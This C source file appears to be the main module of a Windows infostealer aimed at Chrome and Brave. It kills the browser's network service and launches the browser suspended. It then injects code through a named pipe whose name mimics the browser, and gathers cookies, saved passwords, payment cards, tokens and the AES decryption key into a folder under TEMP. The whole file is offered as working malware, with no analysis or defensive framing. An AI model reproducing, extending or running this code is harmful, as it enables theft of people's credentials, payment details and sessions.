#include "types.h"
#include "utils.h"
#include "browser_resolver.h"
#include "target_process.h"
#include "pipe_communicator.h"
#include "injection_manager.h"
#include <time.h>
#include <string.h>
#include <stdio.h>

static void init_browser_config(InjectorConfig* config, const wchar_t* browser_id, const wchar_t* browser_path) {
    wcsncpy_s(config->browser_type, 64, browser_id, _TRUNCATE);
    wcsncpy_s(config->browser_exe_path, MAX_PATH_LEN, browser_path, _TRUNCATE);

    if (wcscmp(browser_id, L"chrome") == 0) {
        wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
        strcpy_s(config->browser_display_name, 64, "Chrome");
    }
    else if (wcscmp(browser_id, L"brave") == 0) {
        wcsncpy_s(config->browser_process_name, 64, L"brave.exe", _TRUNCATE);
        strcpy_s(config->browser_display_name, 64, "Brave");
    }
    else {
        wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
        strcpy_s(config->browser_display_name, 64, "Unknown");
    }
}

static bool validate_config(InjectorConfig* config) {
    if (!config) return false;

    if (config->browser_exe_path[0] == L'\0') return false;
    if (!file_exists(config->browser_exe_path)) return false;
    if (!create_directory_recursive(config->output_path)) return false;

    return true;
}

static bool run_injection_workflow(InjectorConfig* config, ExtractionStats* stats) {
    if (!config || !stats) return false;

    memset(stats, 0, sizeof(ExtractionStats));

    target_kill_network_service(config->browser_process_name);

    TargetProcess target = { 0 };
    if (!target_create_suspended(&target, config->browser_exe_path)) {
        return false;
    }

    wchar_t pipe_name[256];
    if (!generate_browser_mimic_pipe_name(config->browser_type, pipe_name, 256)) {
        target_cleanup(&target);
        return false;
    }

    PipeCommunicator pipe = { 0 };
    if (!pipe_create(&pipe, pipe_name)) {
        target_cleanup(&target);
        return false;
    }

    if (!injection_execute(&target, pipe_name)) {
        pipe_destroy(&pipe);
        target_terminate(&target);
        target_cleanup(&target);
        return false;
    }

    bool success = false;
    if (pipe_wait_for_client(&pipe)) {
        if (pipe_send_initial_data(&pipe, config->verbose,
            config->extract_fingerprint,
            config->output_path)) {
            success = pipe_relay_messages(&pipe);
            *stats = pipe.stats;
        }
    }

    pipe_destroy(&pipe);
    target_terminate(&target);
    target_cleanup(&target);

    return success;
}

static void process_all_browsers(bool verbose, bool extract_fingerprint, const wchar_t* output_path) {
    BrowserList* browsers = browser_find_all_installed();
    if (!browsers || browsers->count == 0) {
        if (browsers) browser_list_destroy(browsers);
        return;
    }

    for (size_t i = 0; i < browsers->count; i++) {
        InjectorConfig config = { 0 };
        config.verbose = verbose;
        config.extract_fingerprint = extract_fingerprint;
        wcsncpy_s(config.output_path, MAX_PATH_LEN, output_path, _TRUNCATE);

        init_browser_config(&config,
            browsers->items[i].browser_id,
            browsers->items[i].exe_path);

        if (!validate_config(&config)) {
            continue;
        }

#ifdef _DEBUG
        printf("Processing %s\n", config.browser_display_name);
#endif

        ExtractionStats stats = { 0 };
        bool res = run_injection_workflow(&config, &stats);
#ifdef _DEBUG
        if (res) {
            printf("Profiles: %d\n", stats.profile_count);
            printf("Cookies:  %d\n", stats.total_cookies);
            printf("Passwords: %d\n", stats.total_passwords);
            printf("Payments: %d\n", stats.total_payments);
            printf("Tokens:   %d\n", stats.total_tokens);
            if (stats.aes_key[0]) {
                printf("AES Key:  %s\n", stats.aes_key);
            }
        }
        else {
            printf("Failed\n");
        }

        printf("\n");
#endif
    }

    browser_list_destroy(browsers);
}

int main() {
    srand((unsigned int)time(NULL));

    wchar_t tmp_path[MAX_PATH];
    GetEnvironmentVariableW(L"TEMP", tmp_path, MAX_PATH);

    wchar_t output_path[MAX_PATH_LEN];
    swprintf_s(output_path, MAX_PATH_LEN, L"%ls\\Log", tmp_path);

    if (!CreateDirectoryW(output_path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
        return 1;
    }

    process_all_browsers(true, true, output_path);
}